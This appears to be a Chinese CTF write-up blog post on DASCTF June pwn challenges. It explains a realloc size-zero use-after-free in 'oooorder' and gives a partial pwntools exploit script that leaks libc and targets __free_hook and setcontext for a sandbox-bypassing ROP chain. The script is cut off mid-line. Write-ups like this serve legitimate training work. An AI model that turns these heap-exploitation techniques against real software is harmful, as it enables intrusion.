DASCTF 6月部分pwn wp

感觉质量挺高的,有点昏迷,

Memory-Monster-IV

这个题我是真的服了,恶心了我一天时间,最后还是没出,知道是要改got表,而且每次只能改一个字节,第一次改后变成ret之类的无用函数,我是不想说啥,没复现出来,贴下作者的分析把:
http://taqini.space/2020/06/26/DASCTF-June-Memory-Monster-IV-200pt/
我感觉能学到的东西不太多,至少知识是很简单的,就是你能不能调出来的问题。Orz。

oooooorder

这个题我其实一开始没找到洞,Whali3n51师傅一眼看出来了,Orz,
具体就是realloc函数的洞,当size=0时,heap会free掉,这样就形成了UAF了。知道这个洞,其实就很简单了,个人感觉是第一天内最好做的.
沙盒的话,用到了setcontext里的一段ROP,具体如下图所示
在这里插入图片描述
如图,如果我们能控制了rdi,也就可以控制所有寄存器。这里,我用这段ROP调用read函数,然后输入ORW的rop来读flag

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('oooorder')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./oooorder')

	else:
		p = remote(ip,port)
	def add(size,content):
		p.sendlineafter("Your choice :\n","1")
		p.sendlineafter("How much is the order?\n",str(size))
		p.sendafter("Order notes:\n",content)
	def edit(index,content):
		p.sendlineafter("Your choice :\n","2")
		p.sendlineafter("Index of order:\n",str(index))
		p.sendafter("Order notes:\n",content)
	def show():
		p.sendlineafter("Your choice :\n","3")
	def free(index):
		p.sendlineafter("Your choice :\n","4")
		p.sendlineafter("Index of order:\n",str(index))

	for i in range(9):
		add(0x100,"x")
	add(0x10,"/bin/sh\x00")
	add(0x10,'x')
	add(0x10,'x')
	for i in range(8):
		free(i)
	add(0,'x')
	add(0,'x')
	show()
	p.recvuntil("[0]:")
	main_arena=u64(p.recv(6).ljust(8,"\x00"))
	print "main_arena=",hex(main_arena)
	#--link addr
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=main_arena-(0x7f9cfbb15ca0-0x7f9cfb72a000)
	free_hook=libcbase_addr+libc.symbols["__free_hook"]
	setcontent_addr=libcbase_addr+libc.symbols["setcontext"]
	pop_rdi_ret=libcbase_addr+libc.se
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值